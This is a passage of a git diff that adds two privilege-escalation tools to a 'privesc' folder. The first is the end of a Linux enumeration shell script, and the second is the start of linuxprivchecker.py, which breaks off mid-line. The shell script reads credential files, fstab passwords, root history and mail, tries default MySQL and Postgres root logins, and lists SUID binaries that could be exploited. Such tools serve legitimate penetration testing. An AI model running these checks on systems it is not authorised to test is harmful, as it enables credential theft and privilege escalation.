+cronjobs=`ls -la /etc/cron* 2>/dev/null` +if [ "$cronjobs" ]; then + echo -e "\e[00;31mCron jobs:\e[00m\n$cronjobs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#can we manipulate these jobs in any way +cronjobwwperms=`find /etc/cron* -perm -0002 -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$cronjobwwperms" ]; then + echo -e "\e[00;33m***World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#contab contents +crontab=`cat /etc/crontab 2>/dev/null` +if [ "$crontab" ]; then + echo -e "\e[00;31mCrontab contents:\e[00m\n$crontab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` +if [ "$crontabvar" ]; then + echo -e "\e[00;31mAnything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` +if [ "$anacronjobs" ]; then + echo -e "\e[00;31mAnacron jobs and associated file permissions:\e[00m\n$anacronjobs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +anacrontab=`ls -la /var/spool/anacron 2>/dev/null` +if [ "$anacrontab" ]; then + echo -e "\e[00;31mWhen were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) +cronother=`cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u 2>/dev/null` +if [ "$cronother" ]; then + echo -e "\e[00;31mJobs held by all users:\e[00m\n$cronother" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" |tee -a $report 2>/dev/null + +#nic information +nicinfo=`/sbin/ifconfig -a 2>/dev/null` +if [ "$nicinfo" ]; then + echo -e "\e[00;31mNetwork & IP info:\e[00m\n$nicinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#dns settings +nsinfo=`cat /etc/resolv.conf 2>/dev/null | grep "nameserver"` +if [ "$nsinfo" ]; then + echo -e "\e[00;31mNameserver(s):\e[00m\n$nsinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#default route configuration +defroute=`route 2>/dev/null | grep default` +if [ "$defroute" ]; then + echo -e "\e[00;31mDefault route:\e[00m\n$defroute" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#listening TCP +tcpservs=`netstat -antp 2>/dev/null` +if [ "$tcpservs" ]; then + echo -e "\e[00;31mListening TCP:\e[00m\n$tcpservs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#listening UDP +udpservs=`netstat -anup 2>/dev/null` +if [ "$udpservs" ]; then + echo -e "\e[00;31mListening UDP:\e[00m\n$udpservs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SERVICES #############################################\e[00m" |tee -a $report 2>/dev/null + +#running processes +psaux=`ps aux 2>/dev/null` +if [ "$psaux" ]; then + echo -e "\e[00;31mRunning processes:\e[00m\n$psaux" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lookup process binary path and permissisons +procperm=`ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'` +if [ "$procperm" ]; then + echo -e "\e[00;31mProcess binaries & associated permissions (from above list):\e[00m\n$procperm" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$procperm" ]; then +procpermbase=`ps aux | awk '{print $11}'|xargs -r ls 2>/dev/null |awk '!x[$0]++'` + mkdir $format/ps-export/ 2>/dev/null + for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null +else + : +fi + +#anything 'useful' in inetd.conf +inetdread=`cat /etc/inetd.conf 2>/dev/null` +if [ "$inetdread" ]; then + echo -e "\e[00;31mContents of /etc/inetd.conf:\e[00m\n$inetdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$inetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null +else + : +fi + +#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each +inetdbinperms=`cat /etc/inetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` +if [ "$inetdbinperms" ]; then + echo -e "\e[00;31mThe related inetd binary permissions:\e[00m\n$inetdbinperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +xinetdread=`cat /etc/xinetd.conf 2>/dev/null` +if [ "$xinetdread" ]; then + echo -e "\e[00;31mContents of /etc/xinetd.conf:\e[00m\n$xinetdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$xinetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null +else + : +fi + +xinetdincd=`cat /etc/xinetd.conf 2>/dev/null |grep "/etc/xinetd.d" 2>/dev/null` +if [ "$xinetdincd" ]; then + echo -e "\e[00;31m/etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m" ls -la /etc/xinetd.d 2>/dev/null |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each +xinetdbinperms=`cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` +if [ "$xinetdbinperms" ]; then + echo -e "\e[00;31mThe related xinetd binary permissions:\e[00m\n$xinetdbinperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +initdread=`ls -la /etc/init.d 2>/dev/null` +if [ "$initdread" ]; then + echo -e "\e[00;31m/etc/init.d/ binary permissions:\e[00m\n$initdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#init.d files NOT belonging to root! +initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$initdperms" ]; then + echo -e "\e[00;31m/etc/init.d/ files not belonging to root (uid 0):\e[00m\n$initdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` +if [ "$rcdread" ]; then + echo -e "\e[00;31m/etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#init.d files NOT belonging to root! +rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$rcdperms" ]; then + echo -e "\e[00;31m/etc/rc.d/init.d files not belonging to root (uid 0):\e[00m\n$rcdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` +if [ "$usrrcdread" ]; then + echo -e "\e[00;31m/usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#rc.d files NOT belonging to root! +usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$usrrcdperms" ]; then + echo -e "\e[00;31m/usr/local/etc/rc.d files not belonging to root (uid 0):\e[00m\n$usrrcdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" |tee -a $report 2>/dev/null + +#sudo version - check to see if there are any known vulnerabilities with this +sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` +if [ "$sudover" ]; then + echo -e "\e[00;31mSudo version:\e[00m\n$sudover" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#mysql details - if installed +mysqlver=`mysql --version 2>/dev/null` +if [ "$mysqlver" ]; then + echo -e "\e[00;31mMYSQL version:\e[00m\n$mysqlver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if root/root will get us a connection +mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` +if [ "$mysqlconnect" ]; then + echo -e "\e[00;33m***We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#mysql version details +mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` +if [ "$mysqlconnectnopass" ]; then + echo -e "\e[00;33m***We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#postgres details - if installed +postgver=`psql -V 2>/dev/null` +if [ "$postgver" ]; then + echo -e "\e[00;31mPostgres version:\e[00m\n$postgver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this +postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon1" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon11" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon2" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon22" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#apache details - if installed +apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` +if [ "$apachever" ]; then + echo -e "\e[00;31mApache version:\e[00m\n$apachever" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#what account is apache running under +apacheusr=`cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' |awk '{sub(/.*\export /,"")}1'` +if [ "$apacheusr" ]; then + echo -e "\e[00;31mApache user configuration:\e[00m\n$apacheusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$apacheusr" ]; then + mkdir --parents $format/etc-export/apache2/ 2>/dev/null + cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" |tee -a $report 2>/dev/null + +#checks to see if various files are installed +echo -e "\e[00;31mUseful file locations:\e[00m" |tee -a $report 2>/dev/null; which nc 2>/dev/null |tee -a $report 2>/dev/null; which netcat 2>/dev/null |tee -a $report 2>/dev/null; which wget 2>/dev/null |tee -a $report 2>/dev/null; which nmap 2>/dev/null |tee -a $report 2>/dev/null; which gcc 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#limited search for installed compilers +compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` +if [ "$compiler" ]; then + echo -e "\e[00;31mInstalled compilers:\e[00m\n$compiler" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +#manual check - lists out sensitive files, can we read/modify etc. +echo -e "\e[00;31mCan we read/write sensitive files:\e[00m" |tee -a $report 2>/dev/null; ls -la /etc/passwd 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/group 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/master.passwd 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#search for suid files - this can take some time so is only 'activated' with thorough scanning switch (as are all suid scans below) +if [ "$thorough" = "1" ]; then +findsuid=`find / -perm -4000 -type f -exec stat -c '%A %n' {} + 2>/dev/null` + if [ "$findsuid" ]; then + echo -e "\e[00;31mSUID files:\e[00m\n$findsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$findsuid" ]; then + mkdir $format/suid-files/ 2>/dev/null + for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#list of 'interesting' suid files - feel free to make additions +if [ "$thorough" = "1" ]; then +intsuid=`find / -perm -4000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la` 2>/dev/null + if [ "$intsuid" ]; then + echo -e "\e[00;33m***Possibly interesting SUID files:\e[00m\n$intsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists word-writable suid files +if [ "$thorough" = "1" ]; then +wwsuid=`find / -perm -4007 -type f 2>/dev/null` + if [ "$wwsuid" ]; then + echo -e "\e[00;31mWorld-writable SUID files:\e[00m\n$wwsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable suid files owned by root +if [ "$thorough" = "1" ]; then +wwsuidrt=`find / -uid 0 -perm -4007 -type f 2>/dev/null` + if [ "$wwsuidrt" ]; then + echo -e "\e[00;31mWorld-writable SUID files owned by root:\e[00m\n$wwsuidrt" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#search for guid files - this can take some time so is only 'activated' with thorough scanning switch (as are all guid scans below) +if [ "$thorough" = "1" ]; then +findguid=`find / -perm -2000 -type f 2>/dev/null` + if [ "$findguid" ]; then + echo -e "\e[00;31mGUID files:\e[00m\n$findguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$findguid" ]; then + mkdir $format/guid-files/ 2>/dev/null + for i in $findguid; do cp $i $format/guid-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#list of 'interesting' guid files - feel free to make additions +if [ "$thorough" = "1" ]; then +intguid=`find / -perm -2000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la` + if [ "$intguid" ]; then + echo -e "\e[00;33m***Possibly interesting GUID files:\e[00m\n$intguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable guid files +if [ "$thorough" = "1" ]; then +wwguid=`find / -perm -2007 -type f 2>/dev/null` + if [ "$wwguid" ]; then + echo -e "\e[00;31mWorld-writable GUID files:\e[00m\n$wwguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable guid files owned by root +if [ "$thorough" = "1" ]; then +wwguidrt=`find / -uid 0 -perm -2007 -type f 2>/dev/null` + if [ "$wwguidrt" ]; then + echo -e "\e[00;31mAWorld-writable GUID files owned by root:\e[00m\n$wwguidrt" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#list all world-writable files excluding /proc +if [ "$thorough" = "1" ]; then +wwfiles=`find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null` + if [ "$wwfiles" ]; then + echo -e "\e[00;31mWorld-writable files (excluding /proc):\e[00m\n$wwfiles" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wwfiles" ]; then + mkdir $format/ww-files/ 2>/dev/null + for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#are any .plan files accessible in /home (could contain useful information) +usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$usrplan" ]; then + echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$usrplan" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$usrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +else + : +fi + +bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$bsdusrplan" ]; then + echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$bsdusrplan" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$bsdusrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +else + : +fi + +#are there any .rhosts files accessible - these may allow us to login as another user etc. +rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostsusr" ]; then + echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$rhostsusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$rhostsusr" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$bsdrhostsusr" ]; then + echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$bsdrhostsusr" ]; then + mkdir $format/rhosts 2>/dev/null + for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostssys" ]; then + echo -e "\e[00;31mHosts.equiv file details and file contents: \e[00m\n$rhostssys" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$rhostssys" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +#list nfs shares/permisisons etc. +nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` +if [ "$nfsexports" ]; then + echo -e "\e[00;31mNFS config details: \e[00m\n$nfsexports" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$nfsexports" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/exports $format/etc-export/exports 2>/dev/null +else + : +fi + +#looking for credentials in /etc/fstab +fstab=`cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1'| xargs -r echo username:; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1'| xargs -r echo password:; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1'| xargs -r echo domain:` +if [ "$fstab" ]; then + echo -e "\e[00;33m***Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$fstab" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +else + : +fi + +fstabcred=`cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1'| xargs -I{} sh -c 'ls -la {}; cat {}'` +if [ "$fstabcred" ]; then + echo -e "\e[00;33m***/etc/fstab contains a credentials file!\e[00m\n$fstabcred" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$fstabcred" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +else + : +fi + +#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ]; then + echo -e "Can't search *.conf files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$confkey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .conf files" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + fi +fi + +if [ "$keyword" = "" ]; then + : + else + if [ "$export" ] && [ "$confkey" ]; then + confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null + for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null + else + : + fi +fi + +#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "Can't search *.log files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + logkey=`find / -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$logkey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .log files (output format filepath:identified line number where keyword appears):\e[00m\n$logkey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .log files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .log files" + echo -e "\n" |tee -a $report 2>/dev/null + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$logkey" ]; then + logkeyfile=`find / -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null + for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null + else + : + fi +fi + +#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "Can't search *.ini files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$inikey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .ini files" |tee -a $report 2>/dev/null + echo -e "\n" + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$inikey" ]; then + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null + for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null + else + : + fi +fi + +#quick extract of .conf files from /etc - only 1 level +allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` +if [ "$allconf" ]; then + echo -e "\e[00;31mAll *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$allconf" ]; then + mkdir $format/conf-files/ 2>/dev/null + for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null +else + : +fi + +#extract any user history files that are accessible +usrhist=`ls -la ~/.*_history 2>/dev/null` +if [ "$usrhist" ]; then + echo -e "\e[00;31mCurrent user's history files:\e[00m\n$usrhist" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$usrhist" ]; then + mkdir $format/history_files/ 2>/dev/null + for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null + else + : +fi + +#can we read roots *_history files - could be passwords stored etc. +roothist=`ls -la /root/.*_history 2>/dev/null` +if [ "$roothist" ]; then + echo -e "\e[00;33m***Root's history files are accessible!\e[00m\n$roothist" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$roothist" ]; then + mkdir $format/history_files/ 2>/dev/null + cp $roothist $format/history_files/ 2>/dev/null +else + : +fi + +#is there any mail accessible +readmail=`ls -la /var/mail 2>/dev/null` +if [ "$readmail" ]; then + echo -e "\e[00;31mAny interesting mail in /var/mail:\e[00m\n$readmail" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#can we read roots mail +readmailroot=`head /var/mail/root 2>/dev/null` +if [ "$readmailroot" ]; then + echo -e "\e[00;33m***We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readmailroot" ]; then + mkdir $format/mail-from-root/ 2>/dev/null + cp $readmailroot $format/mail-from-root/ 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" |tee -a $report 2>/dev/null + +#EndOfScript diff --git a/privesc/linuxprivchecker.py b/privesc/linuxprivchecker.py new file mode 100755 index 0000000..d29f487 --- /dev/null +++ b/privesc/linuxprivchecker.py @@ -0,0 +1,372 @@ +#!/usr/env python + +############################################################################################################### +## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script +## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift +##------------------------------------------------------------------------------------------------------------- +## [Details]: +## This script is intended to be executed locally on a Linux box to enumerate basic system info and +## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text +## passwords and applicable exploits. +##------------------------------------------------------------------------------------------------------------- +## [Warning]: +## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates, +## I did not write it to be efficient and in some cases you may find the functions may not produce the desired +## results. For example, the function that links packages to running processes is based on keywords and will +## not always be accurate. Also, the exploit list included in this function will need to be updated over time. +## Feel free to change or improve it any way you see fit. +##------------------------------------------------------------------------------------------------------------- +## [Modification, Distribution, and Attribution]: +## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original +## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's +## worth anything anyway :) +############################################################################################################### + +# conditional import for older versions of python not compatible with subprocess +try: + import subprocess as sub + compatmode = 0 # newer version of python, no need for compatibility mode +except ImportError: + import os # older version of python, need to use os instead + compatmode = 1 + +# title / formatting +bigline = "=================================================================================================" +smlline = "-------------------------------------------------------------------------------------------------" + +print bigline +print "LINUX PRIVILEGE ESCALATION CHECKER" +print bigline +print + +# loop through dictionary, execute the commands, store the results, return updated dict +def execCmd(cmdDict): + for item in cmdDict: + cmd = cmdDict[item]["cmd"] + if compatmode == 0: # newer version of python, use preferred subprocess + out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() + results = out.split('\n') + else: # older version of python, use os.popen + echo_stdout = 